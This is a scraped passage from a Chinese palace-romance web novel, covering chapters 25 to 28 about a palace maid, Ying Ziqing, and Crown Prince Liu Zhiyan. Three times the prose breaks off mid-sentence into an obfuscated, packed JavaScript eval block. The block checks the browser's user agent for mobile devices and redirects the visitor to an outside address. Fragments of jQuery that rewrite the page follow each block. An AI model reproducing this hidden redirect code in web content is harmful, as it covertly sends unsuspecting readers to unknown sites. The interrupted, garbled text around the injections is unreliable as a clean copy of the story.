而刘之衍,总是在她对他心软的时候,又让她见识到,他身上残忍的一面。
应子清的心情很复杂。
现在的刘之衍对她很好,可是如果他不愿意对她好的时候,又触怒了他,她的下场难道会比吴内祥好吗?
应子清眼神黯了黯,她忍不住问:“你……真的打算,这么处置吴公公吗?”
刘之衍昂然立于回廊前,目光疏离,“我是太子,人人当我有手眼通天的权柄,仿佛无所不能。却不知道,有许多眼睛盯着我,盼着我出错,借机寻衅。”
“吴公公私自传令,是我御下不严。我若是不作出惩罚,别人会说我包庇属下。”刘之衍语气有些冷冽,“子清,我知道你希望我放过吴公公,但这是宫廷,宫廷自有它的规矩。”
“可他总归是你多年忠仆……”应子清说。
刘之衍望着她:“你曾经说过,如果我遇到不喜欢的事情,可以径直走开。但在很多事情上,我没办法像离开松云雅集那样,率性离开。”
似是察觉到有人在看他,吴内祥费力睁开眼睛。
“太子殿下……”吴内祥一开口,仍然是忠心耿耿,恭顺谦卑的称呼。
应子清注意到,刘之衍的瞳孔猛然一黯,尔后,他转过脸去,强迫自己不去看吴内祥。
原来刘之衍并不希望处死吴内祥,应子清意识到这一点,她垂下的手,微微握紧。
吴内祥没有责怪的意思,他努力挤出一个惨淡的笑:“太子殿下做得对,有罪当罚。老奴犯了错,甘愿领罪,绝无怨言。”
应子清咬了咬牙,正要开口说些什么。
冷嬷嬷领着一众宫女,走过长长的庑下,同众位侍女一并福了福身,行礼道:“见过太子殿下。”
刘之衍颔首:“可是太后有什么事?”
冷嬷嬷看一眼吴内祥,微微欠身道:“太后派我来说情,请殿下看在吴内祥多年忠心的份上,饶他一命吧。”
刘之衍负手而立,眼睫微微垂下。
冷嬷嬷继而上前,将身子一躬:“请太子殿下明鉴,此人犯错,乃一时糊涂,并非不可饶恕,还请太子殿下念及旧情,从轻发落,给吴公公一次改过自新的机会。太后的意思,怜惜忠仆,才能凝聚人心,亦不失为一段佳话。”
刘之衍没说话,可也没反驳。
冷嬷嬷扬起下巴,高声对吴内祥道:“还不快快向太子殿下与应女史告罪?”
吴内祥闻言,冻得发僵的眼珠动了动,他缓慢地躬下身子,垂头在地,嘶哑道:“万望太子殿下垂怜,小的定当洗心革面,感恩戴德,绝不再犯。”
“既得太后金口求情,我等不敢不从。这是你的运气,只盼你今后谨遵太后的教诲,莫要辜负太后今日的善举,带他下去吧。”刘之衍淡然道。
几名太监连忙走来,慢慢把吴内祥扶起,搀扶他离开。
吴内祥不会冻死了,应子清悄悄松口气。
不知道为什么,她不希望刘之衍是那种残暴不顾人情的人。
冷嬷嬷又挥了挥手,跟在她身后的宫女们唱诺,把手中捧着的礼物,呈送到刘之衍面前。
“晨间,陛下晨间喝了玉芝汤,说手脚暖和不少,精气神不错,四处找人要赏。太后听了,心情大悦,便说由她做主赏赐。”冷嬷嬷看着应子清,温和道,“这些,太后赏给应女史的。”
应子清一一看过去。
众宫女捧着的礼物各色不一,既有华服织物,也有金玉首饰,件件珍贵罕见,精美无双。
应子清从没见过这么多贵重物品,一时不敢答应。
刘之衍只略略看了眼,都是他在宫中司空见惯的玩意儿,便顺手替应子清做了主:“不过是些金帛珠玉,收下吧。”
“陛下说了,玉芝此物金贵稀有,不是钱财能买到的,贵的是应女史的心意,理应嘉赏。”冷嬷嬷微微笑起来,“太后也听说,应女史雪夜遇狼,受了不少委屈,因此特意嘱咐老奴,帮她向太子殿下讨个好。”
天下最尊贵的两个人都替应子清说话,这福气委实罕见。站在附近的宫女太监,彼此相视一眼,都觉得纳罕。
刘之衍转过来,问应子清:“你有什么想要的?”
谁知道采个东西,有这么大的奖励。应子清得了这么多珍贵厚赏,心想,她还能要什么?她没有想要的了,于是摇了摇头。
刘之衍想了想,当着众人道:“应女史不辞辛劳,冒雪遇险,亲自采摘玉芝这等珍稀药材,呈献御前,于陛下和太后的康健,大有裨益,我亦受其惠。这等功绩,自当奖赏。东宫有司直一职,还空着。子清,擢升你为司直,可好?”
太子威仪,当众赐官,哪有问人家好不好的。
冷嬷嬷见应子清犹豫,担心她当众拒绝,连忙话赶话:“实乃大喜之事,恭喜应司直。”
冷嬷嬷话音刚落,周遭立刻响起一片道喜之声:“恭喜应司直!”
又升官了?
应子清愣了下,望着刘之衍道:“那……谢谢太子殿下。”
刘之衍反而笑了,笑了会,他淡淡道:“傻。”
“好端端的,怎么说我傻?”应子清无语。
刘之衍没回答,转身返回厅中。
应子清只得随在他身后:“跟你说话呢。”
“你知道司直一职,是做什么的?”刘之衍微微侧头。
“不知道。”应子清老实回答。
“是纠察、弹劾别人的,是让你理直气壮当坏人的官职。”刘之衍提起茶壶,给应子清倒了杯清茶,“你若是想欺负谁,你就到我面前,弹劾对方。”
“……在你眼里,我是这种搬弄是非的小人?”应子清接过茶杯,喝了口。
“你自然不是,”刘之衍也给自己倒了杯,轻描淡写道,“所以说你傻。”
茶杯是白瓷做的,杯盏薄可透光,非常漂亮。
应子清很珍惜地捧在手里:“当坏人,欺负人什么的,我做不来。”
刘之衍深邃的双眼,像是滲了脉脉暖意,那么深
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582499|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沉地注视着她:“我知道你做不到。”
“那你干嘛给我这个职位?”应子清问。
许久,刘之衍缓声道:“我希望他们怕你。”
应子清反问:“为什么?”
“如果我不在你身边,他们不敢欺负你。”刘之衍说。
应子清愣怔住了。
“应子清,”刘之衍难得叫她的全名,因此有些严肃,“难道你不知道来找我吗?”
刘之衍说的是,吴内祥为难她的时候,她应该去找他的。
“一点都没想起我吗?”刘之衍直直看着她问,“遇到危险的时候,也没有想过我会出现?”
没有,应子清想了想,即使是遇到了雪狼,她也没想起过这个人。
她还想问,他为什么会跑去找她?
可刘之衍越问,脸色越黑,看起来比她更生气。
这种事,好像谁气性大,谁就占理似的。
应子清本来脾气也不大,此刻像犯了错一般,焉搭搭的低着头,没吭声。
她迅速瞄一眼刘之衍,发现他是真生气了,刚刚刘之衍可能还有做戏的成分,此时英气的眉间凝着阴云,气势很沉。
刘之衍虽然年纪轻,到底是太子。当他面无表情时,在他周遭的宫女太监,大气也不敢出,蹑手蹑脚退了出去,唯恐受到波及。
应子清直觉,如果她跟着退出去,刘之衍会更生气。
宫中所用之物,总是印着吉祥精美的图案。桌案上的铜质香炉上绘了饕餮扑腾的模样,云纹描了金边,古朴金贵,栩栩如生。
应子清默默盯着那炉中袅袅升起轻烟,心里转过许多事。
她虽然没想起刘之衍,可是当她看到他的那一刻,心里不是不动容的。
“我……”应子清抿了抿唇,“我自小,什么事都自己做。”
刘之衍握着白玉般的茶盏,无动于衷。
“因为我双亲……”应子清想了想,没有提原身的家,而是谈起自己的事,“我双亲不想要我,把我丢到一家孤儿……把我丢给别人养大的。”
刘之衍看过来,黑曜石般眼眸里,有微妙的情绪闪动。
这是应子清第一次,主动跟他提及自己的事。
“不过,在我们那里,有很多这样的孩子,我没觉得自己和别人有什么不同。”应子清的嗓音不高,清冷冷的,带些温柔,“毕竟没有双亲照料,我们这些人只能互相照顾。我是大姐姐,在我身后,都是弟弟妹妹们。”
应子清紧巴巴地握住茶杯:“所以,不管我做什么事,自己一个人迎头就上去了,很难想起叫人帮忙。”
“我不是故意不去找你的。”应子清看了他一眼,然后说,“其实看到你来,我很高兴。”
“谢谢你来救我。”应子清飞快地道谢。
感谢这件事,她也不是很擅长,说得很局促。
少女没有佩戴金钗玉环,清白素净,显出一头鸦色莹亮的头发。她眉眼漂亮干净,脸颊有些红。低垂着双眼,似是对自己所说的事,感到不好意思。
刘之衍默了片刻,径直来到应子清身边,少年修长漂亮的手,轻柔地按在她脑袋上。
他的力道很轻,可还是有些重量。
应子清莫名的,从那冰凉的手指感觉到流淌进心间的暖意。
26. 第 26 章
下了几日的雪,难得出大太阳。
因为刘之衍受了伤,各处下了口谕,免了他的晨昏定省。这么一来,他倒空出不少时间,呆在沐云居避雪养伤。
这日阳光明亮,风却冷的很。
檐下,应子清和香巧语兰,凑在一块。
因为之前答应给刘之衍重新做个香包,应子清重新剪了块布,挑了些更好的药材,装进去,两个小宫女在旁边帮忙打下手。
快到午后,光线一点点亮起来。
应子清手里的活计做得差不多,她剪掉线头,系好了穗子,招手叫刘之衍过来,让他佩在腰间。
“怎么样?你喜欢吗?”应子清抬起眼。
刘之衍直视她,锋利耀目的眉眼飞扬,眼神晶亮:“嗯。”
前些天应子清见刘之衍处理内务、整顿宫纪的模样,威严十足。
收到喜欢的东西,他不自觉流露出少年气。
好看到惑人。
应子清眨了眨眼,匆忙垂下:“喜欢就行,换了好的缎子,也没人说丑了。”
这次的香包,用的是太后赏赐的绸缎,和金玉佩环撞在一起,看着还不差。
“你做的,我都喜欢。”刘之衍笑道,“管别人做什么。”
刘之衍说话,向来不顾及旁人。
香巧和语兰小声聊着天,乍然听见太子殿下这么直白,两人默默低下头。
有时候,应子清也抵挡不住刘之衍这种直来直去的热情,她转开脸,没话找话道:“天天呆在屋里,我都快憋坏了。”
刘之衍走到门口,宫人急忙为他打开门,他径直走到廊下,抬头看了看天色,回头道:“那日,我见你在马上有些怕,你是不是不会骑马?”
她怎么可能会,应子清摇头:“不会。”
“走,趁着天气不错,我教你。”刘之衍笑,“去不去?”
能学骑马这么好?应子清来精神了:“去!”
太子殿下发了话,宫女太监连忙动起身。
沐云居的庭院很大,栽种不少松木,可是要骑马还是不够宽敞。
几个人换了身保暖的冬装,去骊山的一块开阔的平地。
刘之衍心爱的乌骓马没了,马倌牵来枣红色的马。
马身优美,四肢修长矫健,毛色光亮,虽然被马倌牵着,枣红马不住昂头摆尾,喷着热热的响鼻。
刘之衍观察了会,点头:“好马都有脾气。”
马倌和气笑笑,躬身道:“太子殿下眼光自然是极好的,这是匹千里马,刚出栏,还没有名字呢,您给取一个吧。”
刘之衍问应子清:“你来取名?”
应子清心想,要她取名,就是来福、丧彪之类的了……
她摆摆手:“不行,还是你来吧。”
刘之衍信口拈来:“绯云骢,如何?”
他取了这么好听的名字,自然无人反对。
刘之衍说教她骑马,竟是同她一起乘骑。
“不然?你一个人在马上,怕出差错。”刘之衍在她身后低声,“有我在,你不会出事——把缰绳牵好!”
应子清素白的手握着缰绳,她怕自己牵不好,拽缰绳的力气不禁变大。
绯云骢被勒得不舒服,摇头晃脑起来。
这枣红马长得高高大大,应子清脚不沾地,只能依赖绯云骢,很怕它一个不爽,把她颠下去。但她又不善御马,不明白绯云骢怎么了。她整个人被马身带着晃动,不知不觉有些害怕。
刘之衍伸手,掠过少女的腰身,握紧她的手:“放轻松,你勒到它了。”
应子清想放手,却被他稳稳握牢。
刘之衍笑起来,声音低低的:“叫你松手,没叫你放开。”
两人就那么自然地牵着手。
应子清心跳得很快,她没作声,耳朵渐渐染上绯红。
刘之衍不再说其他,反而一板一眼,认真教导她如何御马。
骊山地气热,别的地方早早落了叶,而这里依旧云淡树清。
山峦连绵,高耸入云的松柏樟木,挂着薄霜,淡雾缥缈,恍若世外桃源。
明黄的衣衫少年,带着少女,在开阔的平地上,绕着马场,一圈圈地纵马。
临近的羊肠小道上,宫女太监各司其职,来往井然有序。
却有灰衣太监,焦急着一张脸,在小路上跑起来。
刘之衍看见了,带着应子清悬停了马,朝那人喝问:“什么事?”
小太监撞见太子,立刻跪下行礼,禀报道:“……回太子殿下的话,是尚宫局、裴尚宫有请应司直。”
应子清一下想起来了。
当初她在浣衣局,拿着积攒的功劳,向尚宫局谋求一份东宫婢女的工作,找的就是这一位裴尚宫。
裴尚宫突然找她,难道有什么事吗?
“尚宫局……是母后那边的人,我不方便插手。”刘之衍沉吟道,“子清,你想去吗?”
如果她不想去,大概刘之衍也有办法替她回绝。
“没关系,”应子清看他,“我认识这位裴尚宫,我去看看吧。”
“既然如此,那你去吧。”刘之衍先下马,然后再把应子清扶下来。
灰衣太监垂着头,在前方安安静静引着路。
应子清看着他灰色的太监服,不是没想过,这一位是不是安景王派来的。
可是一路上,此人并未和应子清说话。
两人七弯八绕,穿过圆洞门,来到一处汉白玉铺就的小径。
小路两侧,矮松高柏密密丛丛,错落有致。
一眼望过去,针叶与霜白交织,有飞鸟停歇,平添几分曲径通幽之意。
应子清抬起头,遥遥看见主殿的牌匾,龙飞凤舞地书着“凤仪阁”。
整个骊宫,能住凤仪阁的,唯有窦皇后。
早有小宫女等在那里,见应子清来了,冲小太监点头:“奴婢来引路吧。”
小太监垂着手,不再往前走了。
应子清只得跟着小宫女,步上凤仪阁的台阶。
之前见过的裴尚宫,站在朱漆的柱廊后。
裴尚宫梳着端庄典雅的高髻,满头的珠翠,她冲应子清上下打量一番,轻轻颔首:“像模像样,是比之前看着沉稳了。”
当初若不是裴尚宫松口答应,她有再多想法,也难办成。
但应子清十分惊讶,宫中人事事务万千头绪,纷杂不堪。当初她不过是小小的浣衣局宫女,那日求情,她也是胡乱编了套理由,懵懵懂懂求到她面前说了一通。后来许多细节,连她自己也记不清楚了,没想到裴尚宫竟还记得她。
应子清向她福了福身,诚恳感激道:“幸得裴尚宫垂怜,施以援手,愿意提携奴婢,才有今日升迁之喜。裴尚宫的恩典,奴婢感恩在心,若有差遣,奴婢定效犬马之劳,以报答裴尚宫的恩泽。”
裴尚宫点点头,红唇微启:“你走到今日,是你自身勤勉与能耐之功,我不过是旁观相助,算不得什么。你安心做好自己本分之事,方为正途,无需做他想。”
从来听说,裴尚宫秉公持正,宽宏大度,才能久居其位,受人尊重。是以,后宫上至太后,下至小太监小宫女,对她赞赏有加。
应子清心里,对她升起不少好感。
“今日,不是我找你。”裴尚宫招了招手,示意应子清跟上她,“你既升了司直,是五品之官。依照宫闱之礼,理应朝见皇后,请随我来吧。”
怪不得会到凤仪阁,果然要见皇后。
想起之前,威严庄重的窦皇后,应子清心里打了个突,赶紧跟在裴尚宫身后。
然而,裴尚宫带着应子清进入厅内,将她交与窦皇后的乌嬷嬷,便告了辞。她那里的事情还多,不再这里呆了。
应子清看着裴尚宫离去,心里万分不舍。
乌嬷嬷与窦皇后如出一辙,一张容长脸,满是板正严肃。
应子清向来怕这种人,不敢和她对视,默默垂下眼。
在花厅里,站了不知道多久,窦皇后缓缓从里间走出,坐在厅中的正位。
等乌嬷嬷点了头,应子清依照宫中标准,对着窦皇后,行了一个正式的礼节:“奴婢应子清依循宫规,今特来拜见皇后。奴婢自知身负职责,不敢懈怠,万望皇后娘娘垂鉴。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601229|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
按说,应子清到皇后面前,请安报个到,然后皇后简单表示一下,她就可以离开了。
可窦皇后的目光,如有实质,在应子清身上打量一番。应子清被她看得背脊发毛,垂着头半天不敢抬起。
窦皇后冷冰冰道:“你,是在衍儿身边?”
难道窦皇后想留下她说话?应子清僵了僵,回答:“是。”
窦皇后居高临下,发问道:“衍儿最近怎么样,可有闯祸?”
她这么一问,应子清心中大感奇怪:“没有……”
“没有?若是没有,他怎么会坠马?必定是你们这些奴婢,没有好好规劝!”窦皇后骤然发难,眼中满是怒意。
应子清愣住,一时间不知道怎么回答,她手心都快发汗了。
要不是知道窦皇后并非刘之衍亲生母亲,她都快以为,这是一个严母,准备惩戒儿子身边的侍从。
可是,刘之衍生母李贵人,曾经居住的地方叫碧梧宫,生的孩子又是皇帝独子又是太子。即使应子清没看过宫廷剧,也必然知道,这位窦皇后肯定不会喜欢李贵人和刘之衍。
糟糕。
应子清心里咯噔一下,那她此刻呆在窦皇后这里,岂不是羊入虎口!
不,如果窦皇后想收拾她,她根本逃不开,她怎么都要到窦皇后这里述职。
应子清把头低下去,就像遇到危险那样,下意识作出自我保护的动作。
“皇后娘娘。”乌嬷嬷突然出声,柔声道,“应司直是裴尚宫推荐到东宫的,她近些日子才入职,想来太子殿下的顽劣,与她无关。”
“是吗?”窦皇后凌厉的眼神,依旧盯着应子清,看得她颈后发毛。
“是,”乌嬷嬷不慌不忙道,“而且,奴婢还听说,应司直是那位采了玉芝的有功之人,此人能识文断字,精通医理。”
窦皇后冲应子清扬了扬下巴:“你会吗?”
应子清赶紧回答:“奴婢略通一点。”
窦皇后刚刚还疾言厉色,此时忽然变了脸色,微微笑起来:“既然是才到的,那自然与你无关,本宫怪罪你了。”
“不敢。”应子清低声回答。
话虽如此,应子清隐约察觉到,她们在一唱一和,跟她演戏。
为什么?她心里奇怪极了。
不待她多想,窦皇后优美精巧的下巴,微微扬起:“衍儿还小的时候,我就倾尽全力,对他教导。可惜他养成今天这种顽固不化,都是他那个娇弱的母亲,宠溺无度的结果。”
李贵人早逝多年,窦皇后怎么还提起她?
应子清嘀咕着,嘴里答应:“皇后娘娘用心良苦。”
“衍儿毕竟是国本,我教给他的规矩道理,被李贵人全毁了,实在让我痛心。”窦皇后慢条斯理道,“若是有人愿意帮助本宫,让衍儿改邪归正,本宫必定铭记于心。”
应子清差不多听明白了。
她刚升了职,算得上是个人才。
既然不是李贵人留下的忠仆,窦皇后趁着她述职的机会,准备把她拉到自己的羽翼下,让应子清给她递消息跑腿。
后宫里的宫人,谁不仰仗窦皇后。若是寻常人,此时必定磕头称谢,立马投到窦皇后旗下。
可是,应子清想到刘之衍,想到李贵人,想到窦皇后刚刚,对两人句句贬低诋毁。
让她装模作样地演戏,她都觉得心梗。
应子清沉默不过几秒钟,乌嬷嬷已然不悦,柳眉高高扬起,冷然道:“应司直,缘何不作声,你在担心什么?”
应子清眉头微紧。
虽然她知道,刘之衍自打出生,不可避免地陷入这等宫闱争斗之中。
然而当她只不过亲身经历一次,便觉得恼火不忿,刘之衍却日日处在这样的环境,他又是那样的脾气,也觉得他挺不容易。
左思右想之际,应子清觉得自己顺势而为,答应窦皇后是为上策。
应子清想好了,佯装不卑不亢,屈膝福身道:“太子殿下乃国之储君,关乎万民福祉,协助太子成为万民表率,是奴婢的本分。奴婢谨遵皇后娘娘懿旨,不敢有丝毫懈怠。”
27. 第 27 章
香巧和语兰揭开宫灯的玻璃罩,把新火烛换上,做完后两人轻手轻脚退出去,关上了门。
应子清整理着锦被,里间传来窸窣的穿衣声。
过会,刘之衍仅着洁白的亵衣,束着宽宽的腰带,从屏风缓步走出。他的个头好像又蹿了蹿,肩膀在纯白的织锦上,撑出结实的弧度。因为他长得高,腿长,更显得裙裾修长。
“怎么穿这么少,不冷吗?”应子清瞥他一眼。
“还好。”刘之衍刚刚泡完温泉,身上有药香,松柏一样的淡雅气味。
描金绣银的锦被铺开了,上面的吉祥绣纹,在融融火光的照耀下,华光流转。
应子清拍了拍蓬松柔软的被褥:“给你收拾好,时间晚了,那你快睡吧,我也要去休息了。”
“你今天去母后那里了?”刘之衍拉了拉亵衣,在床沿坐下。
“是啊,我还以为是老上司找我,没想到是老总找我。”应子清说。
刘之衍早习惯她偶尔蹦出的新鲜词汇,笑了下:“母后可有说什么?”
应子清抿了下嘴唇,手上的动作慢下来。
宫里的规矩就是这样,刘之衍名义上的母亲,是窦皇后,他只能这么母后母后地叫着。对着自己的亲生母妃,只能叫贵人娘娘。
刘之衍没束发,黑亮微卷的长发在身后披散开,绸缎一样,漂亮得想让人伸手去摸。
应子清想了想,点下头:“是,你的母后说你秉性不佳,叫我等奴婢协助你,成为万民表率。”
刘之衍像是听多了这种说辞,没什么反应,黑沉的眼睛平视着她:“那你是怎么想的?”
应子清坦然回视:“我跟她说了好。”
刘之衍丝毫不觉得意外,他很平静:“你这样说很好,免得母后为难你。”
应子清心里一下揪紧:“你放心,我不会帮她的。”
刘之衍认真地盯着她看:“是吗?”
应子清肯定地点头,半途,却忽然停住了。
她的腰间别着安景王给的符节,她没有那么清白干净。
刘之衍似是不在乎她的犹豫,他只是看着应子清,眼底的幽深晦涩难辨:“我身边一直有很多人,就是你想的那种意思,他们是不同的人派来的眼线。”
烛火噼啪一声,灯花爆了。
应子清吓了一跳,以为有人正在窥视他们,当即朝窗户的缝隙看过去。
“不必担心。”刘之衍打断她的动作,“这些人近不了我身,他们不过是在外围打杂,远远听上一两句。”
刘之衍又道:“所以,多你一个不算多,你不必因为母后的要求为难。她让你做什么,你若是抗拒不了,你就做吧。”
应子清不禁想到,他这个太子之位,跟坐在玻璃盒子差不多,每个人都能看到他的一举一动。其实放在小蓝星,那些皇室的生活似乎也差不多,生活在聚光灯之下。
应子清忽然问了一句:“如果她让我下毒呢?”
许久,刘之衍轻声道:“你以为大剂量的安神汤,是怎么来的?”
应子清本来是想开玩笑,没曾想引出这句骇人的话!
“没有母后的纵容,谁敢轻易慢待当今太子殿下。”刘之衍轻描淡写,“而我,亦不能违逆母后的心意。”
当今大晋朝,以孝治天下。怪不得即使刘之衍知道,他隔三岔五要饮下安神汤,也不能拒绝。非得拖到太后察觉不对,亲自到东宫,发了一通神威,这碗歹毒阴损的安神汤,终于被撤走。
应子清心里难受,轻抿了下薄红的唇角。
刘之衍明亮的双眸,闪了一下,开玩笑回答:“如果是你端来的,哪怕是毒药,我也会喝。”
“……”应子清没有感动,只有满腔的纠结。
刘之衍伸手,握了下应子清的手腕,温声道:“好了,你早些休息,别多想。”
按说,一个正值十七八岁的少年,精力充沛,体魄炙热。
而刘之衍的体温,永远都那么冷。
焉知是不是长久饮用大剂量安神汤所致?
又或者,喝了掺了什么东西的汤?
刘之衍这么跟她说了一通后,她怎么可能不多想?!
应子清躺在自己的小床上,翻来覆去地胡思乱想,天蒙蒙亮了,才堪堪睡着。
——
每日晨光早早亮起,又早早落下。白昼越来越短,天气越来越冷。
茫茫青山,积压着一层经久不散的雾霭。
庆帝在骊宫养了半个多月,可以不借助外力,下地行走了。
傅太后听闻,喜不自胜。
恰好,有进宫请安的王妃们捧场,在赵王妃建议下,傅太后着人办场晚宴,还弄了个名头,叫冬阳暖醴宴。说是难得皇家人全聚在一起,须得一家人亲亲热热相聚,围着小火炉,喝着新酿的美酒,驱寒暖冬。
筵席准备了足足七日。
驻守在长安城的王公贵族,收到傅太后的邀请函,带着家小,马不停蹄赶来骊宫。
暮色四合,簌簌寒风吹到骊山,就被这里的灯光与暖意融化了。
空中飘着淡淡雪花,宫灯沿着骊山的每条路点亮,连角落也不放过。远远地看,像是把整座山峦映亮,在夜色里闪烁鲜亮绮丽的色泽。
山脚下,人来车往奔腾不息,好不热闹。
刘之衍穿身明黄公服,戴了乌锥帽,衬得他整个人平整典雅,贵不可言。
应子清梳了简单的螺髻,因为升了官,她可以戴华美的金饰了。但她嫌重,只在发髻里别了几朵小巧精美的金花,一身淡绯色丝绸襦裙,裙摆迤逦。
一行人在汉白玉阶上,朝宴会走去。
吴内祥养好了伤,可脸色仍是苍白,远远地落在后面。
半道上,碰见不少公卿贵族。
穿华服梳高髻的贵妇人们,轻轻曲膝,向太子殿下行礼。贵族小姐少女们躲在人群的后面,虽然跟着王妃们垂目行礼,可小眼神不住往刘之衍身上飘。
刘之衍略微颔首,便是打了招呼。
“喂!太子哥哥,子清姐姐,我在这里!”有声音悄悄喊道。
应子清看过去:“谢家大小姐?”
谢凝荷趁着这声称呼,从谢家女眷队伍里跑出来,拉住应子清说:“都说了叫我小荷嘛。”
“胡闹!”谢家一位贵妇,冲谢凝荷呵斥一声,“怎么跑出去了,还不快回来。”
“我不,我跟太子哥哥一起走。”谢凝荷赶紧抱住应子清的手臂,满脸不愿意。
刘之衍见她跟应子清关系不错,做了主:“无事,我带着她一起。”
太子发了话,为首的几位谢家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617545|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女眷,面面相觑,只得答应。
谢凝荷骤然笑起来,亲亲热热对刘之衍道谢。而后,她悄悄对应子清做了个夸张的鬼脸:“哇,跟婶婶她们一起,她们这也管,那也管,拘谨得我难受。”
没走几步,又碰见刘驰骞。
赵王妃拿着孔雀羽做的团扇,正在训他:“早说什么了?让你别在大街上纵马,这不,你撞翻了摊主的东西,人家找上门来了。”
刘驰骞低着脑袋,嘟囔道:“赔钱不就完了吗?”
“你想得倒是容易。”赵王妃没好气,这么冷的天,她气得团扇扇了好几下风,“人家摊主正正撞上你父王,在他面前告了状。现在你父王知道了,一会儿见到他,你自己跟他说吧。”
赵王是个好武的人,声音洪亮,脾气烈得很。
正是火上浇油的时候,刘驰骞哪里敢见他,怕被他打死。
一眼瞄到刘之衍明黄服色,刘驰骞马上丢开赵王妃,急急跑来:“太子哥哥救我!”
刘之衍不解:“怎么?”
“我最近刚闯了祸,我父王要打死我了!”刘驰骞哭丧个脸。
赵王妃跟着过来,看了眼不争气的刘驰骞。自己的亲儿子,她再恨铁不成钢,也无法,只得对刘之衍叹气:“哎,你这弟弟不像话,让他暂时躲在你那里吧,最近别让他见到你六叔了。”
“好,请赵王妃放心。”刘之衍淡淡笑着。
说罢,赵王妃扶了扶披帛,遥遥指着刘驰骞,嘱咐道:“这回在你太子哥哥那里,别再闯祸了,要不然,你跑到天上去也没用了。”
刘之衍队伍的人一下变多。
夜空中,突然响起尖啸的升空声,而后璀璨夺目的烟花,在雪夜里缓缓绽开,赤红色的光芒拖着尾焰,徐徐落下。
每个人的脸上明明暗暗,映着灿烂的烟火光芒。
“这是启宴的烟火,说明快开席了!”刘驰骞巴不得大家转移话题,催促道,“咱们快走吧。”
骊宫最大的一处宫殿,温泉从玉雕龙头汩汩涌出,喷薄氤氲热气。
宫殿气势恢宏,灯火辉煌,将四周照得亮如白昼。
说是冬阳暖醴宴,要摆红泥小火炉,可是皇家威仪,怎可能轻易敷衍。
殿前烧着熊熊篝火,堪比一座小火山,还未靠近,便能感觉到扑面而来的焦灼热气。
转过亭台楼阁,重重帷幔,进入殿中。
天子御宴,挤了满满当当的皇亲国戚,朝廷重臣。
丝竹之声绕梁,庭中的舞者们,身披薄纱,翩翩起舞。
刘之衍打一进来,脸上的表情收得一干二净,薄唇抿得很紧。
应子清察觉到他的抵触,小声对他说:“我知道见你父皇对你来说很难受,如果你想走,我们随时可以离开。”
刘之衍也不是不能见庆帝,被应子清这么一说,他笑了:“那你陪着我。”
“我一直在啊。”应子清理所当然道。
这个场合里,应子清是没有席位的,不过刘之衍在他的席位后面,给她留了一方小小蒲团。
太子席位离皇帝皇后最近,而安景王作为曾经最受宠的皇子,他也离得不远。
应子清走到她的蒲团下,盘膝而坐。
她刚一抬头,远远看见安景王与姜泽语,正在对面,遥遥与她相望。
28. 第 28 章
安景王与姜泽语一同看过来,随后两人转开了脸。
像是随意扫过来的。
应子清却觉得,这种看到认识的人,又装不认识的举动,太欲盖弥彰。
演技太差!
不过,周围人声鼎沸,宫女太监捧茶奉果,穿梭席间,没人注意到他们。
应子清趁着空隙,偷偷打量传说中的庆帝。
今日饮宴,庆帝穿着明黄衣衫,坐在最高最瞩目的位置上。
庆帝瘦弱高挑,披了张厚实严密的熊皮,任谁一看,就知道他患有沉疴宿疾。虽然面有病容,可他长得眉清目朗,与安景王有几分相似,年轻时,必定是位风度翩翩的美男子。
唯有一双寒眸,深不见底,若是对上他的视线,定叫人不寒而栗,与刘之衍如出一辙。
不愧是父子。
应子清忍不住在心里点评,如果说安景王比起一个真正的帝王,还缺点什么,那就是那双仿佛参透一切的寒眸。
这一点,反倒是刘之衍更胜一筹。
皇亲国戚以及一些大臣,许久没见庆帝,此时拿出长袖善舞,左右逢源的能力,竭力讨皇帝欢心。又是高声祝酒,又是出席,走到舞台中舞剑,弄的席面喧喧嚷嚷。
不时宫女端着两三道小菜,从庆帝皇后还有太后那里,送过来。
刘之衍叫人给应子清弄了张小案,分给她一些菜肴。
小菜做得精致,面粉捏得丹顶鹤栩栩如生,仿佛振翅欲飞,应子清看了舍不得吃。
“怎么不吃?可是不合胃口?”刘之衍微微侧身,转过来同她说话。
“太可爱了,你看,它头顶还点了红膏。”应子清夹起一只小丹顶鹤,给他瞧,“做得跟真的一样。”
“?”刘之衍听不明白。
“都舍不得下口了。”应子清解释。
刘之衍沉默片刻:“你不喜欢做成小动物式样的糕点?”
应子清顿了顿,跟一个古代人聊可爱到不能下口的的话题,是有点鸡同鸭讲。他大概都不知道,什么叫“可爱”。
应子清摆摆手道:“算了,你别管我了,吃你的饭去吧。”
莫名被嫌弃的刘之衍:“……”
“子清,不如,试试我这道透花糍?”薛沛南手中端着白玉碟,朝这边走来。
